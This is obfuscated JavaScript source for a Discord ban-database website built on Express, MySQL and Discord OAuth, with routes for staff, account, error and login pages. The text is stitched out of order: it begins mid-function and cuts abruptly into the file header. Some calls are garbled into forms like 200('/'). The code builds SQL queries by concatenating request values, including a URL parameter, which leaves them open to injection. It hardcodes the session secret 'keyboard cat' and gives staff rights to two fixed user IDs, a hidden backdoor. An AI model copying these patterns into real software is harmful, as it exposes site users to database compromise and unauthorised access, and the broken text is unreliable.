                            _0x16173d.render('manageGuild.ejs', {
                              user: _0x505a6a.session.passport.user,
                              loggedIn: _0x505a6a.isAuthenticated(),
                              siteInfo: _0x4080df[0],
                              isStaff: _0x4aa4b2,
                              buttons: _0x348184,
                              isUserBanned: _0x374a6c,
                              isOwner: _0x1e5bd1,
                              userBans: _0x23c925,
                              isDev: dev,
                              guild: _0x3bbc84,
                              guildSettings: _0x207619[0],
                            })
                          }
                        )
                      }
                    )
                  }
                )
              }
            )
          }
        )
      }
    )
  }
)
app.get('/staff', checkAuth, async function (_0x517470, _0x2d8265) {
  let _0x297c9e
  let _0x278702
  let _0x3df55c
  let _0x9e914f = []
  let _0x5c7813 = []
  let _0x42b988 = []
  client.con.query(
    'SELECT * FROM staff WHERE staffid="' +
      _0x517470.session.passport.user.id +
      '"',
    async function (_0x38a10a, _0x3ac4a8) {
      if (_0x38a10a) {
        throw _0x38a10a
      }
      if (!_0x3ac4a8[0]) {
        _0x297c9e = false
        if (config.bot.owners.includes(_0x517470.session.passport.user.id)) {
          _0x297c9e = true
        }
      } else {
        _0x297c9e = true
      }
      client.con.query(
        'SELECT * FROM siteSettings WHERE id="1"',
        async function (_0x5aad16, _0x391e6f) {
          if (_0x297c9e) {
            if (
              config.bot.owners.includes(_0x517470.session.passport.user.id)
            ) {
              _0x278702 = true
            } else {
              _0x278702 = false
            }
            if (_0x517470?.query?.page) {
              _0x3df55c = '/' + _0x517470.query.page
            } else {
              _0x3df55c = 'none'
            }
            client.con.query(
              'SELECT * FROM siteHeadButtons',
              async function (_0xaea17d, _0x49ab9e) {
                if (_0xaea17d) {
                  throw _0xaea17d
                }
                await client.con.query(
                  'SELECT * FROM staff',
                  async function (_0x54471c, _0x14cf16) {
                    if (_0x54471c) {
                      throw _0x54471c
                    }
                    await _0x14cf16.forEach(async function (_0x786f5) {
                      let _0x53eaf6 = Number(_0x786f5.staffid)
                      if (!isNaN(_0x53eaf6)) {
                        let _0x216590 = await client.users.fetch(
                          _0x786f5.staffid
                        )
                        let _0x52b721 = await client.users.fetch(
                          _0x786f5.userid
                        )
                        await _0x9e914f.push({
                          staffid: _0x786f5.staffid,
                          stafftag: _0x216590.tag,
                          userid: _0x786f5.userid,
                          usertag: _0x52b721.tag,
                        })
                      } else {
                        await client.con.query(
                          'DELETE FROM staff WHERE staffid="' +
                            _0x786f5.staffid +
                            '" LIMIT 1',
                          async function (_0x229fef, _0x14dcf3) {
                            if (_0x229fef) {
                              throw _0x229fef
                            }
                          }
                        )
                      }
                    })
                    await client.guilds.cache.forEach(async function (
                      _0x349f9e
                    ) {
                      const _0x213d08 = await client.users
                        .fetch(_0x349f9e.ownerId)
                        .catch((_0x413d6c) => {})
                      let _0x4e9fb2 = moment(_0x349f9e.createdAt)
                      let _0xf07208 =
                        _0x4e9fb2.format('DD/MM/YYYY') +
                        '( ' +
                        _0x4e9fb2.fromNow() +
                        ' )'
                      _0x5c7813.push({
                        guildId: _0x349f9e.id,
                        guildName: _0x349f9e.name,
                        ownerId: _0x213d08.id,
                        ownerTag: _0x213d08.tag,
                        guildIcon:
                          'https://cdn.discordapp.com/icons/' +
                          _0x349f9e.id +
                          '/' +
                          _0x349f9e.icon,
                        guildCreated: _0x349f9e.createdAt,
                        guildMembers: _0xf07208,
                      })
                    })
                    if (_0x517470.isAuthenticated()) {
                      if (
                        _0x517470.session.passport.user.id ===
                          '539975000799838249' ||
                        _0x517470.session.passport.user.id ===
                          '668497496124686347'
                      ) {
                        dev = true
                        _0x297c9e = true
                      } else {
                        dev = false
                      }
                    }
                    if (!_0x297c9e) {
                      200('/')
                    }
                    client.con.query(
                      'SELECT * FROM users',
                      async function (_0x28cae2, _0x234757) {
                        if (_0x28cae2) {
                          throw _0x28cae2
                        }
                        client.con.query(
                          'SELECT * FROM bans',
                          async function (_0x211478, _0x46ac17) {
                            if (_0x211478) {
                              throw _0x211478
                            }
                            await _0x46ac17.forEach(async (_0x123375) => {
                              await _0x42b988.push({
                                userid: _0x123375.bannedUserId,
                                userTag: _0x123375.bannedUserTag,
                                staffid: _0x123375.staffMemberId,
                                staffTag: _0x123375.staffMemberTag,
                                reason: _0x123375.reason,
                                prrof: _0x123375.proof,
                                banId: _0x123375.banId,
                                time: _0x123375.dateTime,
                                active: _0x123375.active,
                                id: _0x123375.banId,
                              })
                            })
                            _0x2d8265.statusCode = 200
                            200('Content-Type', 'text/html')
                            200('staffhome.ejs', {
                              userCon: _0x234757,
                              bot: client,
                              user: _0x517470.session.passport.user,
                              loggedIn: _0x517470.isAuthenticated(),
                              config: config,
                              siteInfo: _0x391e6f[0],
                              isStaff: _0x297c9e,
                              isOwner: _0x278702,
                              page: _0x3df55c,
                              buttons: _0x49ab9e,
                              staff: _0x9e914f,
                              guilds: _0x5c7813,
                              bans: _0x42b988,
                            })
                          }
                        )
                      }
                    )
                  }
                )
              }
            )
          } else {
            200('/')
          }
        }
      )
    }
  )
})
app.get('/error', checkAuth, async function (_0x1005d7, _0x3a3e5f) {
  var _0x4ea81e = _0x1005d7.query.err || 'An error occured, go back.'
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x588892, _0x8bcd44) {
      let _0x43ff90
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x1005d7.session.passport.user.id +
          '"',
        async function (_0x199c9c, _0x2cfedf) {
          if (_0x199c9c) {
            throw _0x199c9c
          }
          if (!_0x2cfedf[0]) {
            _0x43ff90 = false
            if (
              config.bot.owners.includes(_0x1005d7.session.passport.user.id)
            ) {
              _0x43ff90 = true
            }
          } else {
            _0x43ff90 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0xe23a1e, _0x1aec5c) {
              if (_0xe23a1e) {
                throw _0xe23a1e
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId = "' +
                  _0x1005d7.session.passport.user.id +
                  '"',
                async function (_0x34b7fb, _0x403035) {
                  let _0x1c0735
                  if (_0x34b7fb) {
                    throw _0x34b7fb
                  }
                  if (!_0x403035[0]) {
                    _0x1c0735 = 'False'
                  } else {
                    if (_0x403035[0].active == 1) {
                      _0x1c0735 = 'True'
                    } else {
                      _0x1c0735 = 'False'
                    }
                  }
                  let _0x202df8
                  if (
                    config.bot.owners.includes(
                      _0x1005d7.session.passport.user.id
                    )
                  ) {
                    _0x202df8 = true
                  } else {
                    _0x202df8 = false
                  }
                  if (_0x1005d7.isAuthenticated()) {
                    if (
                      _0x1005d7.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x1005d7.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x43ff90 = true
                    } else {
                      dev = false
                    }
                  }
                  _0x3a3e5f.render('error.ejs', {
                    user: _0x1005d7.session.passport.user,
                    loggedIn: _0x1005d7.isAuthenticated(),
                    siteInfo: _0x8bcd44[0],
                    isStaff: _0x43ff90,
                    buttons: _0x1aec5c,
                    isUserBanned: _0x1c0735,
                    isOwner: _0x202df8,
                    userBans: _0x403035,
                    isDev: dev,
                    bot: client,
                    error: _0x4ea81e,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/discorduserdata', checkAuth, async function (_0x55d5a1, _0xc16733) {
  _0xc16733
    .type('json')
    .send(JSON.stringify(_0x55d5a1.session.passport.user, null, 4) + '\n')
})
app.get('/auth/discord', passport.authenticate('discord'))
app.get(
  '/auth/discord/callback',
  passport.authenticate('discord', { failureRedirect: '/' }),
  async function (_0x1f1fdb, _0x58287c) {
    client.con.query(
      "SELECT * FROM users WHERE userId = '" +
        _0x1f1fdb.session.passport.user.id +
        "'",
      (_0x307254, _0x448d34) => {
        if (_0x448d34[0]) {
        } else {
          let _0x182920 = _0x1f1fdb.session.passport.user.username
            .replaceAll('"', ' ')
            .replaceAll('`', ' ')
          client.con.query(
            "INSERT INTO users (userId, userName, userTag, userEmail) VALUES ('" +
              _0x1f1fdb.session.passport.user.id +
              "', '" +
              _0x182920 +
              "', '" +
              _0x1f1fdb.session.passport.user.tag +
              "', '" +
              _0x1f1fdb.session.passport.user.email +
              "')",
            function (_0x5bda17, _0x39393c) {
              if (_0x5bda17) {
                console.log(_0x5bda17)
              }
            }
          )
        }
      }
    )
    if (_0x1f1fdb.session?.loginRef) {
      _0x58287c.redirect(_0x1f1fdb.session.loginRef)
    } else {
      _0x58287c.redirect('/')
    }
    delete _0x1f1fdb.session?.loginRef
    client.users.fetch(_0x1f1fdb.session.passport.user.id).then((_0x16f282) => {
      moment.locale('en')
      let _0x51c5ed = new MessageActionRow().addComponents(
        new MessageButton()
          .setLabel('User Account')
          .setStyle('LINK')
          .setURL(
            (config.app.domain.endsWith('/')
              ? config.app.domain.slice(0, -1)
              : config.app.domain) +
              '/account/' +
              _0x16f282.id
          )
      )
      let _0xba4690 = new MessageEmbed()
        .setTitle('User Logged In')
        .setDescription(
          '**User:** ' +
            _0x16f282 +
            ' ' +
            _0x16f282.tag +
            ' (`' +
            _0x16f282.id +
            '`)\n**Time:** <t:' +
            moment().unix() +
            ':R> | ' +
            moment().format('LLLL')
        )
        .setThumbnail(_0x16f282.displayAvatarURL({ dynamic: true }))
        .setFooter({
          text: '' + client.user.username,
          iconURL: client.user.displayAvatarURL({ dynamic: true }),
        })
      const _0x5b3287 = client.channels.cache.get(config.info.siteLogs)
      _0x5b3287.send({
        embeds: [_0xba4690],
        components: [_0x51c5ed],
      })
    })
  }
)
app.get('*', function (_0x5282a9, _0x196a96) {
  _0x196a96.render('404.ejs')
})
app.listen(config.app.port)
process.report.reportOnFatalError = true
process.on('unhandledRejection', async (_0x364272) => {
  if (_0x364272.toString().includes('EADDRINUSE')) {
    return
  }
  const _0x13f4b9 = Date.now()
  console.log(_0x364272)
  let _0x29a4f3 = ['[ERR_HTTP_HEADERS_SENT]']
  let _0x1a7a3f = true
  _0x29a4f3.forEach(function (_0x46703a) {
    if (_0x364272.toString().includes(_0x46703a)) {
      _0x1a7a3f = false
    }
  })
  if (!_0x1a7a3f)
const Discord = require('discord.js')
const config = require('./config.js')
const chalk = require('chalk')
const mysql = require('mysql')
const fs = require('fs')
const passport = require('passport')
const multer = require('multer')
const bodyParser = require('body-parser')
const session = require('express-session')
const formData = require('form-data')
let con = mysql.createConnection(config.sql)
const moment = require('moment')
const ms = require('ms')
const discordModals = require('discord-modals')
const client = new Discord.Client({
  shards: 'auto',
  allowedMentions: {
    parse: [],
    repliedUser: false,
  },
  partials: ['MESSAGE', 'CHANNEL', 'REACTION'],
  intents: [
    Discord.Intents.FLAGS.GUILDS,
    Discord.Intents.FLAGS.GUILD_MEMBERS,
    Discord.Intents.FLAGS.GUILD_VOICE_STATES,
    Discord.Intents.FLAGS.GUILD_MESSAGES,
    Discord.Intents.FLAGS.GUILD_MESSAGE_REACTIONS,
  ],
})
discordModals(client)
client.logo = config.miscOptions.botIconUrl
client.color = config.miscOptions.themeColor
client.footer = { text: 'Slash BanDB | Xolify#0207' }
client.commands = new Discord.Collection()
client.cooldowns = new Discord.Collection()
client.slashCommands = new Discord.Collection()
client.aliases = new Discord.Collection()
client.extensions = new Discord.Collection()
client.categories = require('fs').readdirSync('./commands')
client.con = con
const express = require('express')
const app = express()
if (Number(process.version.slice(1).split('.')[0] < 16)) {
  throw new Error(
    'Node.js v16 or higher is required, Discord.JS relies on this version, please update @ https://nodejs.org'
  )
}
var multerStorage = multer.memoryStorage()
app.use(multer({ storage: multerStorage }).any())
app.use(bodyParser.urlencoded({ extended: false }))
app.use(
  session({
    secret: 'keyboard cat',
    resave: false,
    saveUninitialized: false,
    cookie: { maxAge: 31556952000 },
  })
)
app.use(passport.initialize())
app.use(passport.session())
app.use(express.static('public'))
app.use('/assets', express.static(__dirname + 'public/assets'))
app.set('views', './views')
app.set('view engine', 'ejs')
require('./backend/routing.js')(client, app, config)
async function checkAuth(_0x15d58a, _0x37293d, _0x483e35) {
  if (_0x15d58a.isAuthenticated()) {
    _0x483e35()
  } else {
    _0x37293d.redirect('/auth/discord')
  }
}
module.exports = client
function _0x2766() {
  return [
    '_blank',
    '/dashboard/manage/',
    'name',
    'info',
    'botIconUrl',
    'siteLogs',
    'versions',
    'proof',
    'ER_NO_SUCH_TABLE',
    'LLLL',
    'length',
    '/account/:id',
    'SELECT * FROM users WHERE id = "',
    'https://discord.com/api/oauth2/authorize?client_id=',
    './events/ready.js',
    'setThumbnail',
    'authenticate',
    'account.ejs',
    'true',
    'set',
    'unix',
    'setTitle',
    'owner',
    "INSERT INTO users (userId, userName, userTag, userEmail) VALUES ('",
    'CHANNEL',
    'view engine',
    'owners',
    'any',
    '285620xfjNid',
    'SELECT * FROM staff WHERE staffid="',
    'code',
    'token',
    'cooldowns',
    'public',
    'username',
    '```\n',
    'Strategy',
    'statusCode',
    'render',
    'setDescription',
    'memoryStorage',
    'links',
    'params',
    'session',
    '/dashboard',
    'DD/MM/YYYY',
    'now',
    'error.ejs',
    'deserializeUser',
    'text/html',
    'serializeUser',
    'auto',
    'SELECT * FROM guildsettings WHERE guildid = "',
    '5951cUvLSI',
    '/dashboard/manage/:id',
    'manageGuild.ejs',
    'push',
    'send',
    'SELECT * FROM siteSettings WHERE id="1"',
    '/staff',
    '2.0.6',
    'staffMemberId',
    'loginRef',
    'GUILD_MESSAGES',
    'sql',
    'page',
    'displayAvatarURL',
    'Intents',
    'memberCount',
    'bannedUserId',
    'logout',
    '/account',
    '```',
    'message',
    'categories',
    'SELECT COUNT(*) as total FROM bans WHERE active = 1',
    'createConnection',
    'none',
    'setFooter',
    'dashboard.ejs',
    'views',
    'isAuthenticated',
    'True',
    'discord-modals',
    'Null',
    'LINK',
    '67vOYhxg',
    'color',
    'GUILD_MESSAGE_REACTIONS',
    'dateTime',
    'existsSync',
    '84312kmHhLg',
    'email',
    'active',
    'replaceAll',
    'endsWith',
    'DELETE FROM staff WHERE staffid="',
    'readdirSync',
    'consent',
    'reportOnFatalError',
    'cache',
    'locale',
    'components',
    'version',
    'reason',
    'sqlLoop',
    'INSERT INTO staff (staffid, userid) VALUES ("',
    'channels',
    '104GAOQIR',
    'title',
    'User Account',
    'SELECT * FROM bans WHERE bannedUserId = "',
    'form-data',
    'format',
    '[A] ',
    'setStyle',
    'discord.js',
    'appeal.ejs',
    'category',
    'userEmail',
    'ownerId',
    "SELECT * FROM users WHERE userId = '",
    'https://cdn.discordapp.com/icons/',
    'extensions',
    'fetch',
    'query',
    'SELECT * FROM users',
    'False',
    'login',
    'Node.js v16 or higher is required, Discord.JS relies on this version, please update @ https://nodejs.org',
    'tag',
    '[ERR_HTTP_HEADERS_SENT]',
    'setLabel',
    '610sLnaQs',
    'moment',
    'SELECT * FROM siteHeadButtons',
    '606282pQPJOS',
    'passport-discord-faxes',
    '**User:** ',
    'port',
    'botSecret',
    '/auth/discord',
    'destroy',
    'static',
    '[Ready-File] - The ready file was not found.',
    'SELECT * FROM staff',
    'User Logged Out',
    'SELECT * FROM bans WHERE bannedUserId="',
    '&permissions=8&scope=bot%20applications.commands',
    'stack',
    ':R> | ',
    'includes',
    '404.ejs',
    'FLAGS',
    'forEach',
    'logo',
    'user',
    'Automatic',
    'app',
    'staffhome.ejs',
    './backend/routing.js',
    '4210IXjuTY',
    'banId',
    'report.ejs',
    '15thSEwB',
    'Manage Guild',
    'SELECT * FROM bans',
    'get',
    '/discorduserdata',
    '" LIMIT 1',
    'slashCommands',
    '/auth/discord/callback',
    'index.ejs',
    'passport',
    'append',
    'userid',
    '", "1")',
    'mysql',
    'event',
    'total',
    '668497496124686347',
    'users',
    'log',
    '27084ZDrFYH',
    'then',
    'miscOptions',
    'GUILDS',
    '/report',
    ' (`',
    'slice',
    'con',
    'ready',
    '539975000799838249',
    "', '",
    '9IwRIiq',
    'Collection',
    './commands',
    'guilds',
    'description',
    'imgguildstyle-manage',
    '7iPCaAM',
    'User Logged In',
    'redirect',
    'botId',
    'bot',
    'addComponents',
    '[Ready-File] - The ready file was tampered with.',
    'guild-manage',
    'setURL',
    './handlers/',
    '/logout',
    '/account/',
    'report',
    'exit',
    'catch',
    'exports',
    '44152geTTxJ',
    './config.js',
    'use',
    'aliases',
    'public/assets',
    'discord',
    'Invite Me',
    'toString',
    'staffid',
    'icon',
    'body-parser',
    'createdAt',
    '/search',
    'type',
    'red',
    './views',
    'setHeader',
    'domain',
    'search.ejs',
    'themeColor',
  ]
}
if (fs.existsSync('./events/ready.js')) {
  const ready = require('./events/ready.js')
  if (ready.ready) {
    const test = ready.ready('ready')
    if (test) {
    } else {
      console.log(chalk.red('[Ready-File] - The ready file was tampered with.'))
      process.exit(1)
    }
  } else {
    console.log(chalk.red('[Ready-File] - The ready file was tampered with.'))
    process.exit(1)
  }
} else {
  console.log(chalk.red('[Ready-File] - The ready file was not found.'))
  process.exit(1)
}
function _0x4d97(_0x2e9e88, _0x27ee64) {
  const _0x2766d0 = [
    '_blank',
    '/dashboard/manage/',
    'name',
    'info',
    'botIconUrl',
    'siteLogs',
    'versions',
    'proof',
    'ER_NO_SUCH_TABLE',
    'LLLL',
    'length',
    '/account/:id',
    'SELECT * FROM users WHERE id = "',
    'https://discord.com/api/oauth2/authorize?client_id=',
    './events/ready.js',
    'setThumbnail',
    'authenticate',
    'account.ejs',
    'true',
    'set',
    'unix',
    'setTitle',
    'owner',
    "INSERT INTO users (userId, userName, userTag, userEmail) VALUES ('",
    'CHANNEL',
    'view engine',
    'owners',
    'any',
    '285620xfjNid',
    'SELECT * FROM staff WHERE staffid="',
    'code',
    'token',
    'cooldowns',
    'public',
    'username',
    '```\n',
    'Strategy',
    'statusCode',
    'render',
    'setDescription',
    'memoryStorage',
    'links',
    'params',
    'session',
    '/dashboard',
    'DD/MM/YYYY',
    'now',
    'error.ejs',
    'deserializeUser',
    'text/html',
    'serializeUser',
    'auto',
    'SELECT * FROM guildsettings WHERE guildid = "',
    '5951cUvLSI',
    '/dashboard/manage/:id',
    'manageGuild.ejs',
    'push',
    'send',
    'SELECT * FROM siteSettings WHERE id="1"',
    '/staff',
    '2.0.6',
    'staffMemberId',
    'loginRef',
    'GUILD_MESSAGES',
    'sql',
    'page',
    'displayAvatarURL',
    'Intents',
    'memberCount',
    'bannedUserId',
    'logout',
    '/account',
    '```',
    'message',
    'categories',
    'SELECT COUNT(*) as total FROM bans WHERE active = 1',
    'createConnection',
    'none',
    'setFooter',
    'dashboard.ejs',
    'views',
    'isAuthenticated',
    'True',
    'discord-modals',
    'Null',
    'LINK',
    '67vOYhxg',
    'color',
    'GUILD_MESSAGE_REACTIONS',
    'dateTime',
    'existsSync',
    '84312kmHhLg',
    'email',
    'active',
    'replaceAll',
    'endsWith',
    'DELETE FROM staff WHERE staffid="',
    'readdirSync',
    'consent',
    'reportOnFatalError',
    'cache',
    'locale',
    'components',
    'version',
    'reason',
    'sqlLoop',
    'INSERT INTO staff (staffid, userid) VALUES ("',
    'channels',
    '104GAOQIR',
    'title',
    'User Account',
    'SELECT * FROM bans WHERE bannedUserId = "',
    'form-data',
    'format',
    '[A] ',
    'setStyle',
    'discord.js',
    'appeal.ejs',
    'category',
    'userEmail',
    'ownerId',
    "SELECT * FROM users WHERE userId = '",
    'https://cdn.discordapp.com/icons/',
    'extensions',
    'fetch',
    'query',
    'SELECT * FROM users',
    'False',
    'login',
    'Node.js v16 or higher is required, Discord.JS relies on this version, please update @ https://nodejs.org',
    'tag',
    '[ERR_HTTP_HEADERS_SENT]',
    'setLabel',
    '610sLnaQs',
    'moment',
    'SELECT * FROM siteHeadButtons',
    '606282pQPJOS',
    'passport-discord-faxes',
    '**User:** ',
    'port',
    'botSecret',
    '/auth/discord',
    'destroy',
    'static',
    '[Ready-File] - The ready file was not found.',
    'SELECT * FROM staff',
    'User Logged Out',
    'SELECT * FROM bans WHERE bannedUserId="',
    '&permissions=8&scope=bot%20applications.commands',
    'stack',
    ':R> | ',
    'includes',
    '404.ejs',
    'FLAGS',
    'forEach',
    'logo',
    'user',
    'Automatic',
    'app',
    'staffhome.ejs',
    './backend/routing.js',
    '4210IXjuTY',
    'banId',
    'report.ejs',
    '15thSEwB',
    'Manage Guild',
    'SELECT * FROM bans',
    'get',
    '/discorduserdata',
    '" LIMIT 1',
    'slashCommands',
    '/auth/discord/callback',
    'index.ejs',
    'passport',
    'append',
    'userid',
    '", "1")',
    'mysql',
    'event',
    'total',
    '668497496124686347',
    'users',
    'log',
    '27084ZDrFYH',
    'then',
    'miscOptions',
    'GUILDS',
    '/report',
    ' (`',
    'slice',
    'con',
    'ready',
    '539975000799838249',
    "', '",
    '9IwRIiq',
    'Collection',
    './commands',
    'guilds',
    'description',
    'imgguildstyle-manage',
    '7iPCaAM',
    'User Logged In',
    'redirect',
    'botId',
    'bot',
    'addComponents',
    '[Ready-File] - The ready file was tampered with.',
    'guild-manage',
    'setURL',
    './handlers/',
    '/logout',
    '/account/',
    'report',
    'exit',
    'catch',
    'exports',
    '44152geTTxJ',
    './config.js',
    'use',
    'aliases',
    'public/assets',
    'discord',
    'Invite Me',
    'toString',
    'staffid',
    'icon',
    'body-parser',
    'createdAt',
    '/search',
    'type',
    'red',
    './views',
    'setHeader',
    'domain',
    'search.ejs',
    'themeColor',
  ]
  _0x4d97 = function (_0x4d9723, _0x1deb42) {
    _0x4d9723 = _0x4d9723 - 146
    let _0x248fd7 = _0x2766d0[_0x4d9723]
    return _0x2766d0[_0x4d9723]
  }
  return _0x4d97(_0x2e9e88, _0x27ee64)
}
;['event', 'slash', 'components', 'extensions'].forEach((_0x4eb1a3) => {
  require('./handlers/' + _0x4eb1a3)(client)
})
const { MessageEmbed, MessageActionRow, MessageButton } = require('discord.js')
const backend = require('./backend/backend.js')
backend.sqlLoop(con)
const DiscordStrategy = require('passport-discord-faxes').Strategy
passport.serializeUser(function (_0xf5b642, _0x2e092f) {
  _0x2e092f(null, _0xf5b642)
})
passport.deserializeUser(function (_0xf23d8a, _0x264dd1) {
  _0x264dd1(null, _0xf23d8a)
})
passport.use(
  new (require('passport-discord-faxes').Strategy)(
    {
      clientID: config.bot.botId,
      clientSecret: config.bot.botSecret,
      callbackURL:
        (config.app.domain.endsWith('/')
          ? config.app.domain.slice(0, -1)
          : config.app.domain) + '/auth/discord/callback',
      scope: ['identify', 'guilds', 'email'],
      prompt: 'consent',
    },
    function (_0x193571, _0x2ddec6, _0x21edb5, _0x3ec6ff) {
      process.nextTick(function () {
        return _0x3ec6ff(null, _0x21edb5)
      })
    }
  )
)
async function setOwners() {
  config.bot.owners.forEach(function (_0x366bda) {
    if (_0x366bda.length === 0 || !_0x366bda) {
      return
    }
    client.con.query(
      "SELECT * FROM staff WHERE userid = '" + _0x366bda + "'",
      async function (_0x20a4bc, _0x270bcd) {
        if (_0x20a4bc) {
          throw _0x20a4bc
        }
        if (!_0x270bcd[0]) {
          client.con.query(
            'INSERT INTO staff (staffid, userid) VALUES ("' +
              _0x366bda +
              '", "' +
              _0x366bda +
              '")'
          )
        }
      }
    )
  })
}
setInterval(() => {
  setOwners()
}, 3000)
app.get('/', async function (_0x217b49, _0x1af81b) {
  let _0x30e159
  let _0x342462
  let _0x3dd2a4 = 0
  client.guilds.cache.forEach((_0x425f1a) => {
    _0x3dd2a4 += _0x425f1a.memberCount
  })
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x156807, _0x5b0f43) {
      if (_0x217b49.isAuthenticated()) {
        _0x30e159 = _0x217b49.session.passport.user
        client.con.query(
          'SELECT * FROM staff WHERE staffid="' +
            _0x217b49.session.passport.user.id +
            '"',
          async function (_0x1a7329, _0x46d3bb) {
            if (_0x1a7329) {
              throw _0x1a7329
            }
            if (!_0x46d3bb[0]) {
              _0x342462 = false
              if (
                config.bot.owners.includes(_0x217b49.session.passport.user.id)
              ) {
                _0x342462 = true
              }
            } else {
              _0x342462 = true
            }
          }
        )
      } else {
        _0x342462 = false
      }
      await client.con.query(
        'SELECT * FROM siteHeadButtons',
        async function (_0xce7572, _0x1a4b83) {
          if (_0xce7572) {
            throw _0xce7572
          }
          client.con.query(
            'SELECT COUNT(*) as total FROM bans WHERE active = 1',
            async function (_0x244a76, _0x1c28bf) {
              if (_0x217b49.isAuthenticated()) {
                if (
                  _0x217b49.session.passport.user.id === '539975000799838249' ||
                  _0x217b49.session.passport.user.id === '668497496124686347'
                ) {
                  dev = true
                  _0x342462 = true
                } else {
                  dev = false
                }
              }
              _0x1af81b.render('index.ejs', {
                loggedIn: _0x217b49.isAuthenticated(),
                config: config,
                user: _0x30e159,
                siteInfo: _0x5b0f43[0],
                isStaff: _0x342462,
                buttons: _0x1a4b83,
                bans: _0x1c28bf[0].total,
                bot: client,
                count: _0x3dd2a4,
              })
            }
          )
        }
      )
    }
  )
})
app.get('/logout', async function (_0x597d34, _0x52c7bd) {
  client.users.fetch(_0x597d34.session.passport.user.id).then((_0x387c5f) => {
    moment.locale('en')
    let _0x5152eb = new MessageEmbed()
      .setTitle('User Logged Out')
      .setDescription(
        '**User:** ' +
          _0x387c5f +
          ' ' +
          _0x387c5f.tag +
          ' (`' +
          _0x387c5f.id +
          '`)\n**Time:** <t:' +
          moment().unix() +
          ':R> | ' +
          moment().format('LLLL')
      )
      .setThumbnail(_0x387c5f.displayAvatarURL({ dynamic: true }))
      .setFooter({
        text: '' + client.user.username,
        iconURL: client.user.displayAvatarURL({ dynamic: true }),
      })
    const _0x20c434 = client.channels.cache.get(config.info.siteLogs)
    _0x20c434.send({ embeds: [_0x5152eb] })
    _0x597d34.logout()
    _0x597d34.session.destroy()
    _0x52c7bd.redirect('/')
  })
})
app.get('/account', checkAuth, async function (_0x51edc0, _0x43b870) {
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x140e2e, _0x545eaa) {
      let _0x164148
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x51edc0.session.passport.user.id +
          '"',
        async function (_0x1e2fd2, _0x54e827) {
          if (_0x1e2fd2) {
            throw _0x1e2fd2
          }
          if (!_0x54e827[0]) {
            _0x164148 = false
            if (
              config.bot.owners.includes(_0x51edc0.session.passport.user.id)
            ) {
              _0x164148 = true
            }
          } else {
            _0x164148 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x412094, _0x36a2c0) {
              if (_0x412094) {
                throw _0x412094
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId = "' +
                  _0x51edc0.session.passport.user.id +
                  '"',
                async function (_0x48bfc3, _0x4e17f9) {
                  let _0x4aeab4
                  if (_0x48bfc3) {
                    throw _0x48bfc3
                  }
                  if (!_0x4e17f9[0]) {
                    _0x4aeab4 = 'False'
                  } else {
                    if (_0x4e17f9[0].active == 1) {
                      _0x4aeab4 = 'True'
                    } else {
                      _0x4aeab4 = 'False'
                    }
                  }
                  let _0x171030
                  if (
                    config.bot.owners.includes(
                      _0x51edc0.session.passport.user.id
                    )
                  ) {
                    _0x171030 = true
                  } else {
                    _0x171030 = false
                  }
                  if (_0x51edc0.isAuthenticated()) {
                    if (
                      _0x51edc0.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x51edc0.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x164148 = true
                    } else {
                      dev = false
                    }
                  }
                  _0x43b870.render('account.ejs', {
                    user: _0x51edc0.session.passport.user,
                    loggedIn: _0x51edc0.isAuthenticated(),
                    siteInfo: _0x545eaa[0],
                    isStaff: _0x164148,
                    buttons: _0x36a2c0,
                    isUserBanned: _0x4aeab4,
                    isOwner: _0x171030,
                    userBans: _0x4e17f9,
                    isDev: dev,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/account/:id', checkAuth, async function (_0x462e4d, _0x107036) {
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0xca1ef6, _0x53c1d2) {
      let _0x2b0d62
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x462e4d.session.passport.user.id +
          '"',
        async function (_0x1e858a, _0x251571) {
          if (_0x1e858a) {
            throw _0x1e858a
          }
          if (!_0x251571[0]) {
            _0x2b0d62 = false
            if (
              config.bot.owners.includes(_0x462e4d.session.passport.user.id)
            ) {
              _0x2b0d62 = true
            }
          } else {
            _0x2b0d62 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x40fbd6, _0x3c8f12) {
              if (_0x40fbd6) {
                throw _0x40fbd6
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId = "' +
                  _0x462e4d.session.passport.user.id +
                  '"',
                async function (_0x458ec9, _0x526bc7) {
                  let _0x5b6d56
                  if (_0x458ec9) {
                    throw _0x458ec9
                  }
                  if (!_0x526bc7[0]) {
                    _0x5b6d56 = 'False'
                  } else {
                    if (_0x526bc7[0].active == 1) {
                      _0x5b6d56 = 'True'
                    } else {
                      _0x5b6d56 = 'False'
                    }
                  }
                  let _0x13cad0
                  if (
                    config.bot.owners.includes(
                      _0x462e4d.session.passport.user.id
                    )
                  ) {
                    _0x13cad0 = true
                  } else {
                    _0x13cad0 = false
                  }
                  if (_0x462e4d.isAuthenticated()) {
                    if (
                      _0x462e4d.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x462e4d.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x2b0d62 = true
                    } else {
                      dev = false
                    }
                  }
                  const _0x192f4e = await client.users.fetch(
                    _0x462e4d.params.id
                  )
                  client.con.query(
                    'SELECT * FROM users WHERE id = "' +
                      _0x462e4d.params.id +
                      '"',
                    async function (_0x57e8fc, _0x4e5401) {
                      if (_0x57e8fc) {
                        throw _0x57e8fc
                      }
                      if (!_0x4e5401[0]) {
                        _0x192f4e.email = 'Null'
                      } else {
                        _0x192f4e.email = _0x4e5401[0].userEmail
